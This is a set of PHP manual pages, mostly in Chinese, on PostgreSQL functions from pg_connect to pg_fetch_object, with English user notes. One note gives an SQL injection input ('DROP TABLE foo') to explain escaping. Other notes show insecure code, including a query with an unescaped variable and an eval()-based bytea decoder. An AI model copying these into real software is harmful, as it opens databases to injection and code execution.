Anyway, in case any one else has a similar problem, thought I'd document it here, as a problem with pg_connect is where this will first surface as a symptom.
Helio Ferenhof <d-m at eudoramail dot com>
19-Feb-2002 05:20
Connection Hint:
Do you always write at the code the username and password to connect to your PostgreSQL database !?
What if your username or password changes?

Create a connection include file.

---
connection.inc
---
<?php
  $connection = pg_connect("host=localhost port=5432 dbname=DATABASENAME user=USERNAME password=PASSWORD")
     or die ("Nao consegui conectar ao PostGres --> " . pg_last_error($conn));
?>

// you can use $database name and pass it from the php file if you connect into different databases.

---
Phpfile.php
---

<?php
   include('connection.php'); // Include the connection to the databank THEN start your SQL Job :)

   $result=pg_exec("SELECT field FROM table WHERE field = '$something' "); // Sample of SQL QUERY
       $fetch = pg_fetch_row($query_st); // Sample of SQL QUERY

   pg_close($connection); // Close this connection
?>

[]s
Helio Ferenhof
d-m@eudoramail.com
matias at nospam dot projectcast dot com
13-Feb-2002 05:16
At least with Postgres 7.2, connecting to local postgresdatabase requires a user in the database with the same name as the user running apache, or the connection fails.
rolf at sir-wum dot de
13-Oct-2001 08:54
pg_connect() won't work with the authentication method 'crypt' in the pg_hba.conf. Took me an hour to figure that out till I remeberd some other issues with windows missing the crypt() call.
kayotix at yahoo dot com
15-Sep-2000 02:54
Little note that is buried in the install somewhere.  In Php 3, PostgreSQL support was activated by adding --with-postgresql=[DIR] to the options passed to ./configure.  With Php 4.0.2 (on Linux) the parameter was --with-pgsql.  The only place I found this was in the installing PHP on Unix section of the manual.
leace at post dot cz
22-Jul-2000 05:26
If you use PostgreSQL users for authenticating into your pg database rather than using your own authentication, always specify host directive in pg_connect and edit pg_hba.conf to authenticate from this host accordingly. Otherwise, PHP will connect as 'local' using UNIX domain sockets, which is set in pg_hba.conf to 'trust' by default (so you can connect using psql on console without specifying password) and everyone can connect to db _without password_ .
add a note add a note

后退 | 起点 | 前进
pg_close | 上一级 | pg_connection_busy


pg_connection_busy

(PHP 4 >= 4.2.0, PHP 5)

pg_connection_busy -- 获知连接是否为忙

说明

bool pg_connection_busy ( resource connection )

pg_connection_busy() 在此连接状态为忙的时候返回 TRUE。如果连接状态为忙，说明前一个查询仍然在执行。如果调用 pg_get_result() 函数的话，则会被锁死。

例子 1. pg_connection_busy() 例子

<?php
    $dbconn = pg_connect("dbname=publisher") or die("Could not connect");
    $bs = pg_connection_busy($dbconn);
    if ($bs) {
        echo 'connection is busy';
    }
    else {
       echo 'connection is not busy';
    }
?>

参见 pg_connection_status() 和 pg_get_result()。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
pg_connect | 上一级 | pg_connection_reset


pg_connection_reset

(PHP 4 >= 4.2.0, PHP 5)

pg_connection_reset -- 重置连接（再次连接）

说明

bool pg_connection_reset ( resource connection )

pg_connection_reset() 重置一个连接，用于错误恢复。如果成功则返回 TRUE，失败则返回 FALSE。

例子 1. pg_connection_reset() 例子

<?php
    $dbconn = pg_connect("dbname=publisher") or die("Could not connect");
    $dbconn2 = pg_connection_reset($dbconn);
    if ($dbconn2) {
        echo "reset successful\n";
    }
    else {
        echo "reset failed\n";
    }
?>

参见 pg_connect()，pg_pconnect() 和 pg_connection_status()。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
pg_connection_busy | 上一级 | pg_connection_status


pg_connection_status

(PHP 4 >= 4.2.0, PHP 5)

pg_connection_status -- 获得连接状态

说明

int pg_connection_status ( resource connection )

pg_connection_status() 返回一个连接的状态。可能的状态为 PGSQL_CONNECTION_OK 和 PGSQL_CONNECTION_BAD。

例子 1. pg_connection_status() 例子

<?php
    $dbconn = pg_connect("dbname=publisher") or die("Could not connect");
    $stat = pg_connection_status($dbconn);
    echo 'connection_status: '.$stat;
?>

例子 2. pg_connection_status() 例子

<?php
    $dbconn = pg_connect("dbname=publisher") or die("Could not connect");
    $stat = pg_connection_status($dbconn);
    echo 'connection_status: '.$stat;
?>

参见 pg_connection_busy()。

add a note add a note User Contributed Notes
david dot tulloh at infaze dot com dot au
15-Jun-2005 11:33
I think zytox is incorrect, at least in PHP 5.0.4.
It returns null, but you have to be careful with your comparison operators.

As an example:
<?php
unset($null);
if (pg_connection_status($null)===PGSQL_CONNECTION_OK)
   echo 'this is not called';
if (pg_connection_status($null)==PGSQL_CONNECTION_OK)
   echo 'this is called because NULL==0 is true';
?>
zytox at hotmail dot com
03-Apr-2005 02:34
If the connection variable is NULL this function returns 0 in PHP 5.0.2. Havent figured out any more erratic values for the connection variable but be careful.
add a note add a note

后退 | 起点 | 前进
pg_connection_reset | 上一级 | pg_convert


pg_convert

(PHP 4 >= 4.3.0, PHP 5)

pg_convert -- 将关联的数组值转换为适合 SQL 语句的格式。

说明

array pg_convert ( resource connection, string table_name, array assoc_array [, int options] )

pg_convert() 检查 assoc_array 中的值并将其转换为为适用于 SQL 语句的值。pg_convert() 的前提条件是现有的表 table_name 中具有的列至少有 assoc_array 中的单元那么多。table_name 中的字段名以及字段值必须和 assoc_array 中的键名及值匹配。如果成功则返回一个包括转换后的值的数组，否则返回 FALSE。

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

参见 pg_meta_data()。

add a note add a note User Contributed Notes
Andrew Falanga
25-Feb-2005 04:03
Why does this function, pg_convert(), reject the string 'TRUE' as a valid value for the boolean types?  I'm using PHP 4.3.9 and my web page originally set the value for submission to update, to 'TRUE'.  pg_convert() threw it back to me saying that it's not a valid value for boolean types.  However, the postgresql website says otherwise.  See http://www.postgresql.org/docs/7.4/static/datatype-boolean.html for the context of my question/comment.
01-Apr-2004 12:02
The only options that I see are:

PGSQL_CONV_IGNORE_DEFAULT  - Do not use DEAFULT value by removing field from returned array
PGSQL_CONV_FORCE_NULL - Convert to NULL if string is null string
PGSQL_CONV_IGNORE_NOT_NULL  - Ignore NOT NULL constraints

These are constants, so don't quote them or anything.
dharana at dharana dot net
12-May-2003 09:28
I've found "options" possible values:

PG_CONV_CHECK - check only
PG_CONV_STRICT - raise warning for non fatal error
PG_CONV_QUOTE - add quote around values for vchar, text datetime.
PG_CONV_SLASH - add slashes if it needed.
PG_CONV_NULLCHK - check values are defined for NOT NULL fields.
PG_CONV_NO_DEFAULT - ignore default value even if value is empty string.
add a note add a note

后退 | 起点 | 前进
pg_connection_status | 上一级 | pg_copy_from


pg_copy_from

(PHP 4 >= 4.2.0, PHP 5)

pg_copy_from -- 根据数组将记录插入表中

说明

bool pg_copy_from ( resource connection, string table_name, array rows [, string delimiter [, string null_as]] )

pg_copy_from() 将数组 rows 的内容作为记录插入表中。它在内部使用了 COPY FROM SQL 命令来插入记录。如果成功则返回 TRUE，失败则返回 FALSE。

参见 pg_copy_to()。

add a note add a note User Contributed Notes
vlad at php dot net
20-Mar-2003 05:38
By default NULL values are a backslash followed with capital N ("\\N").

Also, you can't insert entries with OIDs (I've added it to my TODO list though)
carl at thep.lu.se
10-Sep-2002 06:06
Something needs to be said about the format of the array.
Judging by what I've seen, it's pretty much what you get
from loading a tab-separated file with file(). That is, the
lines are linefeed-terminated and there's no need to have
an extra line with "\.". On the other hand, when I try using this
command the connection to the server ends up in some odd
state and is then lost:
PHP Warning:  USo() query failed: server closed the connection unexpectedly

I think it might be safer to use the lower-level function
pg_put_line() for now.
17-Jul-2002 02:10
For starters, you can check the first line of every function document. It tells the minimum versions of PHP that you need in order to use the function.
add a note add a note

后退 | 起点 | 前进
pg_convert | 上一级 | pg_copy_to


pg_copy_to

(PHP 4 >= 4.2.0, PHP 5)

pg_copy_to -- 将一个表拷贝到数组中

说明

array pg_copy_to ( resource connection, string table_name [, string delimiter [, string null_as]] )

pg_copy_to() 将一个表拷贝到数组中，该数组作为结果返回。它在内部使用了 COPY FROM SQL 命令来插入记录，并返回结果数组。如果失败则返回 FALSE。

参见 pg_copy_from()。

add a note add a note User Contributed Notes
setantae at submonkey dot net
28-Nov-2002 02:50
"It issues COPY TO SQL command internally to insert records"

I suspect this statement is incorrect, or that s/insert/retrieve/ is appropriate.
add a note add a note

后退 | 起点 | 前进
pg_copy_from | 上一级 | pg_dbname


pg_dbname

(PHP 3, PHP 4, PHP 5)

pg_dbname -- 获得数据库名

说明

string pg_dbname ( resource connection )

pg_dbname() 返回给定 PostgreSQL connection 资源的数据库名称。如果 connection 不是有效的 PostgreSQL 连接资源则返回 FALSE。

例子 1. pg_dbname() 例子

<?php
    error_reporting(E_ALL);

    pg_connect("host=localhost port=5432 dbname=mary");
    echo pg_dbname(); // mary
?>

add a note add a note User Contributed Notes
mark at redbrick dot dcu dot ie
25-Mar-2003 04:37
This function is as simple as it sounds, it returns the name of the database your are currently connected to on the handle retrieved from a pg_connect() call.

<?php
   $pgsql_conn = pg_connect("dbname=mark host=localhost");

   if ($pgsql_conn) {
       print "Successfully connected to database: " . pg_dbname($pgsql_conn) .
         " on " .  pg_host($pgsql_conn) . "<br/>\n";
   } else {
       print pg_last_error($pgsql_conn);
       exit;
   }
?>

[mark@prodigy][*][~/public_html/php]>>>php pg_dbname.php
Content-type: text/html
X-Powered-By: PHP/4.3.1

Successfully connected to database: mark on localhost<br/>

Again this function is much more useful when you are changing which database you are connected to in your program.

Regards,  --mark
add a note add a note

后退 | 起点 | 前进
pg_copy_to | 上一级 | pg_delete


pg_delete

(PHP 4 >= 4.3.0, PHP 5)

pg_delete -- 删除记录

说明

mixed pg_delete ( resource connection, string table_name, array assoc_array [, int options] )

pg_delete() 删除符合条件的记录，条件在 assoc_array 中以 field=>value 格式给出。如果指定了 option，则 pg_convert() 按照该选项作用于 assoc_array 之上。

例子 1. pg_delete() 例子

<?php
    $db = pg_connect('dbname=foo');
    // This is safe, since $_POST is converted automatically
    $res = pg_delete($db, 'post_log', $_POST);
    if ($res) {
        echo "POST data is deleted: $res\n";
    }
    else {
        echo "User must have sent wrong inputs\n";
    }
?>

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

参见 pg_convert()。

add a note add a note User Contributed Notes
27-Apr-2004 06:47
One should take care when checking the return value.
0 == false which is not equal with failed delete.

if(!$res)
  echo "Nothing was deleted";
add a note add a note

后退 | 起点 | 前进
pg_dbname | 上一级 | pg_end_copy


pg_end_copy

(PHP 4 >= 4.0.3, PHP 5)

pg_end_copy -- 与 PostgreSQL 后端同步

说明

bool pg_end_copy ( [resource connection] )

pg_end_copy() 在处理完 pg_put_line() 所执行的拷贝操作之后将 PostgreSQL 前端（通常为 web server 进程）与 PostgreSQL 服务器进行同步。pg_end_copy() 必须被调用，否则 PostgreSQL 服务器可能会和前端失去同步并报错。如果成功则返回 TRUE，失败则返回 FALSE。

更多细节和例子参见 pg_put_line()。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
pg_delete | 上一级 | pg_escape_bytea


pg_escape_bytea

(PHP 4 >= 4.2.0, PHP 5)

pg_escape_bytea -- 转义 bytea 类型的二进制数据

说明

string pg_escape_bytea ( string data )

pg_escape_bytea() 转义 bytea 数据类型的二进制字符串，返回转义后的字符串。

注: 当对 bytea 类型字段进行 SELECT 操作时，PostgreSQL 返回前导 \ 的八进制字节值（例如 \032）。用户需要自己将结果转换为二进制格式。

本函数需要 PostgreSQL 7.2 或以上版本。在 PostgreSQL 7.2.0 和 7.2.1 版中，如果使用了多字节支持，bytea 类型必须被强制转换。例如 INSERT INTO test_table (image) VALUES ('$image_escaped'::bytea);。PostgreSQL 7.2.2 或以上版本不需要强制转换。异常情况是当客户端和后端字符编码不匹配时，可能会有多字节流错误。用户必须强制转换 bytea 以避免此错误。

参见 pg_unescape_bytea() 和 pg_escape_string()。

add a note add a note User Contributed Notes
Mocha
08-Aug-2003 08:20
to unescape_bytea use stripcslashes(). If you need to escape bytea and don't have pg_escape_bytea() function then use:

function escByteA($binData) {
  /**
   * \134 = 92 = backslash, \000 = 00 = NULL, \047 = 39 = Single Quote
   *
   * str_replace() replaces the searches array in order. Therefore, we must
   * process the 'backslash' character first. If we process it last, it'll
   * replace all the escaped backslashes from the other searches that came
   * before.
   */
  $search = array(chr(92), chr(0), chr(39));
  $replace = array('\\\134', '\\\000', '\\\047');
  $binData = str_replace($search, $replace, $binData);
  return $binData;
  //echo "<pre>$binData</pre>";
  //exit;
}
php at tobias dot olsson dot be
18-Aug-2002 12:56
if you need to change back bytea from the db to normal data, this will do that:

function pg_unescape_bytea($bytea) {
return eval("return \"".str_replace('$', '\\$', str_replace('"', '\\"', $bytea))."\";");
}

// use like this
$rs = pg_query($conn, "SELECT image from images LIMIT 1");
$image = pg_unescape_bytea(pg_fetch_result($rs, 0, 0));

/Tobias
add a note add a note

后退 | 起点 | 前进
pg_end_copy | 上一级 | pg_escape_string


pg_escape_string

(PHP 4 >= 4.2.0, PHP 5)

pg_escape_string -- 转义 text/char 类型的字符串

说明

string pg_escape_string ( string data )

pg_escape_string() 转义 text/char 数据类型的字符串，返回转义后的字符串。建议用此函数替代 addslashes()。

注: 本函数需要 PostgreSQL 7.2 或以上版本。

参见 pg_escape_bytea()。

add a note add a note User Contributed Notes
johniskew2 at yahoo dot com
31-May-2006 12:43
For those who escape their single quotes with a backslash (ie \') instead of two single quotes in a row (ie '') there has recently been a SERIOUS sql injection vulnerability that can be employed taking advantage of your chosen escaping method.  More info here: http://www.postgresql.org/docs/techdocs.50
Even after the postgre update, you may still be limited to what you can do with your queries if you still insist on backslash escaping. It's a lesson to always use the PHP functions to do proper escaping instead of adhoc addslashes or magic quotes escaping.
meng
28-May-2006 07:21
Since php 5.1 the new function pg_query_params() was introduced. With this function you can use bind variables and don't have to escape strings. If you can use it, do so. If unsure why, check the changelog for Postgres 8.0.8.
otix
25-Apr-2006 06:43
Creating a double-tick is just fine. It works the same as the backslash-tick syntax. From the PostgreSQL docs:

The fact that string constants are bound by single quotes presents an obvious semantic problem, however, in that if the sequence itself contains a single quote, the literal bounds of the constant are made ambiguous. To escape (make literal) a single quote within the string, you may type two adjacent single quotes. The parser will interpret the two adjacent single quotes within the string constant as a single, literal single quote. PostgreSQL will also allow single quotes to be embedded by using a C-style backslash.
dominik dot mueller at access dot unizh dot ch
16-Jan-2006 01:40
in reply to "rich at dicksonlife dot com"

use serialize() / unserialize() instead!
rich at dicksonlife dot com
19-Jul-2005 08:38
Here's some code I knocked up to turn an array of values into a string representation of an array. Note that I also add the external single quotes to make it a full string literal.

  //$t is array to be escaped. $u will be string literal.
  $tv=array();
  foreach($t as $key=>$val){
   $tv[$key]="\"" .
     str_replace("\"",'\\"', str_replace('\\','\\\\',$val)) . "\"
";
  }
  $u= implode(",",$tv) ;
  $u="'{" . pg_escape_string($u) . "}'";

There's probably a better way of doing this. That's why I'm posting this here :)
tsharek at o2 dot pl
02-Mar-2005 07:34
IMO the stripslashes in this case is not very usefull. Because pg_escape_string change ' into '' (double ' - not "). I use in add to database this:
pg_escape_string(stripslashes($_GET['var'])) and is in 100% safe (i hope).

If I use addslashes in this case that well be lost space in database (\''' - this is 3 bytes)

ps. sorry for my english:)
17-Jul-2003 02:30
Here with 'abc'efg'  the middle ' terminates the string, however 'abc\'def' is one big string with a ' character in the middle.

If the user can terminate the string he can then put in the bad sql.  When prompted for Barcode the user could put in  DROP TABLE foo; SELECT '1

$query = sprintf ("SELECT * FROM a.tblcards WHERE barcode='%s'", pg_escape_string($barcode));

So you have to "clean" your variable coming in to prevent that.
add a note add a note

后退 | 起点 | 前进
pg_escape_bytea | 上一级 | pg_execute


pg_execute

(PHP 5 >= 5.1.0RC1)

pg_execute -- Sends a request to execute a prepared statement with given parameters, and waits for the result.

说明

resource pg_execute ( resource connection, string stmtname, array params )

resource pg_execute ( string stmtname, array params )

Sends a request to execute a prepared statement with given parameters, and waits for the result.

pg_execute() is like pg_query_params(), but the command to be executed is specified by naming a previously-prepared statement, instead of giving a query string. This feature allows commands that will be used repeatedly to be parsed and planned just once, rather than each time they are executed. The statement must have been prepared previously in the current session. pg_execute() is supported only against PostgreSQL 7.4 or higher connections; it will fail when using earlier versions.

The parameters are identical to pg_query_params(), except that the name of a prepared statement is given instead of a query string.

参数

connection

PostgreSQL database connection resource. When connection is not present, the default connection is used. The default connection is the last connection made by pg_connect() or pg_pconnect().

stmtname

The name of the prepared statement to execute. if "" is specified, then the unnamed statement is executed. The name must have been previously prepared using pg_prepare(), pg_send_prepare() or a PREPARE SQL command.

params

An array of parameter values to substitute for the $1, $2, etc. placeholders in the original prepared query string. The number of elements in the array must match the number of placeholders.

返回值

A query result resource on success, or FALSE on failure.

范例

例子 1. Using pg_execute()

<?php
// Connect to a database named "mary"
$dbconn = pg_connect("dbname=mary");

// Prepare a query for execution
$result = pg_prepare($dbconn, "my_query", 'SELECT * FROM shops WHERE name = $1');

// Execute the prepared query.  Note that it is not necessary to escape
// the string "Joe's Widgets" in any way
$result = pg_execute($dbconn, "my_query", array("Joe's Widgets"));

// Execute the same prepared query, this time with a different parameter
$result = pg_execute($dbconn, "my_query", array("Clothes Clothes Clothes"));

?>

参见

pg_prepare()
pg_send_prepare()
pg_query_params()

add a note add a note User Contributed Notes
nmmm at nmmm dot nu
05-May-2006 03:11
I am not 100% sure in this, but pg_exec() could return 0 as Connection ID.

because of that i change some of my code like this:

$dbres = pg_exec($SQL);

if ($dbres === false){
       echo "DB is down";
       exit;
}else{
       //do something
}
add a note add a note

后退 | 起点 | 前进
pg_escape_string | 上一级 | pg_fetch_all_columns


pg_fetch_all_columns

(PHP 5 >= 5.1.0RC1)

pg_fetch_all_columns -- Fetches all rows in a particular result column as an array

说明

array pg_fetch_all_columns ( resource result [, int column] )

pg_fetch_all_columns() returns an array that contains all rows (records) in a particular column of the result resource.

注: 本函数对 PHP NULL 值设定 NULL 字段。

参数

result

PostgreSQL query result resource, returned by pg_query(), pg_query_params() or pg_execute() (among others).

column

Column number, zero-based, to be retrieved from the result resource. Defaults to the first column if not specified.

返回值

An array with all values in the result column.

FALSE is returned if column is larger than the number of columns in the result, or on any other error.

范例

例子 1. pg_fetch_all_columns() example

<?php
$conn = pg_pconnect("dbname=publisher");
if (!$conn) {
  echo "An error occured.\n";
  exit;
}

$result = pg_query($conn, "SELECT title, name, address FROM authors");
if (!$result) {
  echo "An error occured.\n";
  exit;
}

// Get an array of all author names
$arr = pg_fetch_all_columns($result, 1);

var_dump($arr);

?>

参见

pg_fetch_all()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
pg_execute | 上一级 | pg_fetch_all


pg_fetch_all

(PHP 4 >= 4.3.0, PHP 5)

pg_fetch_all -- 从结果中提取所有行作为一个数组

说明

array pg_fetch_all ( resource result )

pg_fetch_all() 从结果资源中返回一个包含有所有的行（元组/记录）的数组。如果没有更多行可供提取，则返回 FALSE。

例子 1. pg_fetch_all() 例子

<?php
$conn = pg_pconnect("dbname=publisher");
if (!$conn) {
    echo "An error occured.\n";
    exit;
}
$result = pg_query($conn, "SELECT * FROM authors");
if (!$result) {
    echo "An error occured.\n";
    exit;
}
$arr = pg_fetch_all($result);
var_dump($arr);
?>

参见 pg_fetch_row()，pg_fetch_array()，pg_fetch_object() 和 pg_fetch_result()。

add a note add a note User Contributed Notes
viniciusweb at gmail dot com
21-Mar-2005 10:20
This function returns NULL if the parameter is false.
frig1 at gmx dot at
04-Feb-2005 12:15
I'm using PHP 5.0.1 and pg_fetch_all and here pg_fetch_all is also not recognized as function
10-Jun-2003 08:36
Also for those who are trying to move off oracle, pg_fetch_all returns an array with rows and columns inverted in the sense of ocifetchall. You would need to transpose this result array before your code takes the first index a column name and the second index a row index.
php dot net at mechintosh dot com
17-May-2003 02:42
For versions of PHP that don't yet support the new names or newer functions I wrote a couple functions like this one

if (! function_exists("pg_fetch_all")) {
  function pg_fetch_all($res, $kind="assoc") {
   $i = 0; // this is needed for the row integer in the looped pg_fetch_array
   if ($kind == "assoc") {
     while ($row = pg_fetch_array($res, $i, PGSQL_ASSOC)) {
       $array_out[] = $row;
       $i++;
   }else{
     while ($row = pg_fetch_array($res)) {
       $array_out[] = $row;
     }
   }
   return $array_out;
  }
}
tasmanian at devil dot com
28-Mar-2003 02:42
It seems like pg_fetch_all() only works on version 4.3.x. I tried it with 4.2.2 and it does not recognize the function, so I assume it won't work on 4 => 4.2.x.
jcomeau at whatisthewww dot com
20-Feb-2003 04:02
pg_fetch_all, despite the app note, accepts only one argument, the resultset. It does exactly what is expected, returning a two-dimensional array of the resultset. I suspect the app note given was just copied from pg_fetch_array, which is what you want to use for a single row.
add a note add a note

后退 | 起点 | 前进
pg_fetch_all_columns | 上一级 | pg_fetch_array


pg_fetch_array

(PHP 3 >= 3.0.1, PHP 4, PHP 5)

pg_fetch_array -- 提取一行作为数组

说明

array pg_fetch_array ( resource result [, int row [, int result_type]] )

pg_fetch_array() 返回一个与所提取的行（元组/记录）相一致的数组。如果没有更多行可供提取，则返回 FALSE。

pg_fetch_array() 是 pg_fetch_row() 的扩展版本。在返回的数组中不仅以数字索引方式存放数据（字段编号），默认情况下还用字段名做索引存放数据（字段名）。

row 是想要取得的行（记录）的编号。第一行为 0。

result_type 是可选参数，控制着怎样初始化返回值。result_type 是一个常量，可以有以下取值：PGSQL_ASSOC，PGSQL_NUM 和 PGSQL_BOTH。取值为 PGSQL_ASSOC 时 pg_fetch_array() 返回用字段名作为键值索引的关联数组，取值为 PGSQL_NUM 时用字段编号作为键值，取值为 PGSQL_BOTH 时则同时用两者作为键值。默认值是 PGSQL_BOTH。

注: result_type 是在 PHP 4.0 中才加入的参数。

pg_fetch_array() 并不明显比使用 pg_fetch_row() 慢，而且在使用中提供了更大的方便。

例子 1. pg_fetch_array()

<?php

$conn = pg_pconnect("dbname=publisher");
if (!$conn) {
    echo "An error occured.\n";
    exit;
}

$result = pg_query($conn, "SELECT * FROM authors");
if (!$result) {
    echo "An error occured.\n";
    exit;
}

$arr = pg_fetch_array($result, 0, PGSQL_NUM);
echo $arr[0] . " <- array\n";

$arr = pg_fetch_array($result, 1, PGSQL_ASSOC);
echo $arr["author"] . " <- array\n";

?>

注: 从 4.1.0 开始，row 成为可选参数。每次调用 pg_fetch_array()，内部的行计数器都会加一。

参见 pg_fetch_row() 和 pg_fetch_object() 以及 pg_fetch_result()。

add a note add a note User Contributed Notes
anonymous
14-May-2005 05:21
Hopefully most people realize this on their own, but the examples below where people tried to get creative with getting numerical or associative (not both) keys in the result are rather pointless. See the pg_fetch_assoc() and pg_fetch_row() for the built in functions that do this automatically. It's generally a better idea to use one of these other functions unless you *need* to access fields by both collumn name *and* index.
Dave O
23-Feb-2005 01:52
I found this out through help from the mailing lists.  If you need to reset the internal counter, use the pg_result_seek, similar to:

pg_result_seek($result, 0)

...plagiarized from the comment on the function's doc page.
devnull
03-Feb-2005 05:59
In response to eth0's comment below about SELECT'ing from two tables where the tables have columns with the same names, you can get around this problem like this:

"SELECT table1.foo AS foo1, table2.foo AS foo2 FROM table1, table2"

In the associative array returned, the keys will be "foo1" and "foo2".
enyo at www.red-link.com
15-Sep-2003 09:55
Just because it is not really clear how to specify the result type, I poste this message.

I wrote a wrapper function which looks like this:

<?php
   function db_fetch_array ($result, $row = NULL, $result_type = PGSQL_ASSOC)
   {
       $return = @pg_fetch_array ($result, $row, $result_type);
       return $return;
   }
?>

I think this way it is quite comfortable to get the arrays you want.
akm at e-nterart dot pl
18-Jun-2003 12:45
(Timesaver) Be aware of the fact that keys in array returned by this function are (well, at least as of 4.2.3) of the same case as SQL column names (e.g. if your column name is ID then key name is also ID, not id or Id), and the keys in associative array are CASE SENSITIVE!!! So don't be surprised if you get unexpected results. Double check SQL column names and the key names.
jesse at sokieserv dot dhs dot org
13-Dec-2001 08:38
As of PHP 4.1.0, you can now use code such as the following to iterate through a result set:

$conn = pg_connect("host=localhost dbname=whatever");
$result = pg_exec($conn, "select * from table");
while ($row = pg_fetch_array($result))
{
     echo "data: ".$row["data"];
}

Can be a nice little time saver, PHP with MySQL has supported this for a while but I'm glad to see it extended to PostgreSQL...
eth0 at fins
29-Sep-2001 02:15
Please remember that if you have for example a table Customers with "cust_ID", "name" and "address" and another table Users with "u_ID","name" and "other" and then you SELECT WHERE cust_ID=u_ID then you'll get in the result array ONLY ONE "name" field, precisely the last one resulted from the select!!!
elliot at nospam dot rightnowtech dot com
23-Jul-2001 12:50
Just remember when you 'or die' to close your table(s) or you may get a confused look from non-internet explorer users.
gmoros at altavista dot com
23-Jun-2001 11:06
If the connection with the database fails,  you can add "or die" + your message to show, with @pg_connect dont display error messages.
$conn = @pg_connect("dbname=marliese port=5432") or die ("Cant connect to database);
buyaka AT ragingbull DOT com
02-Apr-2001 02:23
An easier way to loop through the result with pg_fetch_array() and turn off error reporting is like so:

for($i=0;
$row = @pg_fetch_array($result,$i); $i++)
{
echo $row["field_name"];
}

The '@' before the function name turns off error reporting.
mkb at ele dot uri dot edu
28-Mar-2001 08:52
The column names if you use PGSQL_ASSOC or PGSQL_BOTH are always in lowercase, no matter what the name is in the database or in the query.
gherson at snet dot net
07-Mar-2001 02:30
In addition to returning "false if there are no more rows", pg_fetch_array will also trigger an E_WARNING.  You can temporarily turn that error reporting level off and suck out all your data like so:

$errRptLvl = error_reporting();
error_reporting($errRptLvl & ~(E_WARNING));

list($i,$j)=array(0,0);
while ($selection[$i++] = $this->fetchArray($j++)); // (fetchArray is a pg_fetch_array wrapper.)
error_reporting($errRptLvl); // Restore error reporting level.
unset($selection[$i-1]); // Delete the last, empty row.
return $selection;
sgarib at vrweb dot cl
31-Jan-2001 06:07
when you retrive a boolean value from postgreSQL the result is "t" and "f" (as a string) instead of 1 and 0 so you can't ask somenthing like :

if (!(rstemp["booleanvalue"]))
   { do_ somenthing();}
gherson at snet dot net
03-Jan-2001 01:14
PGSQL_BOTH is the default, meaning your array size will be doubled.
If you specify this field (result type), include no quotes around it or you won't get any data, not even an error.
Here's my wrapper function:
function SQL_fetch_array($result_ndx, $row, $result_type=PGSQL_ASSOC) {
   return pg_fetch_array($result_ndx, $row, $result_type);
add a note add a note

后退 | 起点 | 前进
pg_fetch_all | 上一级 | pg_fetch_assoc


pg_fetch_assoc

(PHP 4 >= 4.3.0, PHP 5)

pg_fetch_assoc -- 提取一行作为关联数组

说明

array pg_fetch_assoc ( resource result [, int row] )

pg_fetch_assoc() 和调用 pg_fetch_array() 加上第三个可选参数 PGSQL_ASSOC 是等价的。它只返回一个关联数组。如果需要数字索引，用 pg_fetch_row()。

pg_fetch_assoc() 是 pg_fetch_row() 的扩展版本。除了将数据存储在数字索引（字段编号）之外，默认还将数组存储在关联索引（字段名）中。

row 是要被提取的行（记录）编号。第一行为 0。

pg_fetch_assoc() 并不明显比 pg_fetch_row() 慢，而且还显著更便于使用。

例子 1. pg_fetch_assoc() 例子

<?php
$conn = pg_pconnect("dbname=publisher");
if (!$conn) {
    echo "An error occured.\n";
    exit;
}

$result = pg_query($conn, "SELECT id, author, email FROM authors");
if (!$result) {
    echo "An error occured.\n";
    exit;
}
while ($row = pg_fetch_assoc($result)) {
    echo $row['id'];
    echo $row['author'];
    echo $row['email'];
}
?>

参见 pg_fetch_row()，pg_fetch_array()，pg_fetch_object() 和 pg_fetch_result()。

add a note add a note User Contributed Notes
25-May-2006 03:59
If you request a row that does not exist, it just fails, rather than simply returning false.
Luke
22-Sep-2005 09:34
Note:

PostgreSQL boolean values set to TRUE are returned as the string "t"

PostgreSQL boolean values set to FALSE are returned as the string "f"
petrus at bmail dot com dot au
25-Feb-2005 11:22
$dbconn3 = pg_connect("host=127.0.0.1 port=5432 dbname=blah user=blah password=blah");
$result = pg_query($dbconn3, "SELECT * FROM Packages");

 echo "<HTML><HEAD><TITLE>PostgreSQL Test Page</TITLE></HEAD><BODY>";
 echo "<TABLE>";

$pkg = pg_fetch_assoc($result);
foreach ($pkg as $value) {
   echo "<TR><TD>$value";
   echo "</TR></TD>";
 }

echo "</TABLE><P>";
echo "This package's full filename is: {$pkg['name']}-{$pkg['version']}{$pkg['extension']}";
echo "</BODY></HTML>";

For generating tables, this works, and personally I prefer foreach() to while loops because there's no danger of accidentally causing an infinite loop...foreach only works for as long as it has something to work with, and then stops.  I thought the echo down the bottom might come in handy, too...took me a bit to find that out.
spam at pasher dot org
25-Oct-2003 09:35
An important thing to note (as of PHP 4.3.2):

If you are used to using the "extended" comparision operators (=== and !==) to try to make your code easier to follow visually, this function will return NULL if the provided resource handle is invalid (as opposed to false). ie,

$rs = @pg_query('SELECT * FROM fake_table');
while (false !== ($row = @pg_fetch_assoc($rs)))
{
   print_r($row);
}

Obviously you should check to see if $rs === false before you start the while loop, but this example is used to illustrate a potential infinite loop problem if $rs IS false.
ninja (whorl) thinkninja (stop) com
21-Jun-2003 11:29
If you are moving between different versions of PHP, this might be handy:

if (!function_exists('pg_fetch_assoc')) {
   function pg_fetch_assoc ($result)
   {
     return @pg_fetch_array($result, NULL, PGSQL_ASSOC);
   }
}
Brenton Strickler
07-Jan-2003 09:53
At a glance, the syntax listed at the top of this page doesn't match the example.  The PGSQL_ASSOC flag isn't necessary.
add a note add a note

后退 | 起点 | 前进
pg_fetch_array | 上一级 | pg_fetch_object


pg_fetch_object

(PHP 3 >= 3.0.1, PHP 4, PHP 5)

pg_fetch_object -- 提取一行作为对象

说明

object pg_fetch_object ( resource result [, int row [, int result_type]] )

pg_fetch_object() 返回与所提取行的属性相一致的一个对象。如果出错或者没有更多行可供提取时则返回 FALSE。

pg_fetch_object() 和 pg_fetch_array() 相似，只有一点区别 － 返回一个对象而不是数组。间接的，这意味着只能通过字段名来访问数据而不能通过偏移量来访问（数字是非法的属性名）。

row 是想要取得的行（记录）的编号。第一行为 0。

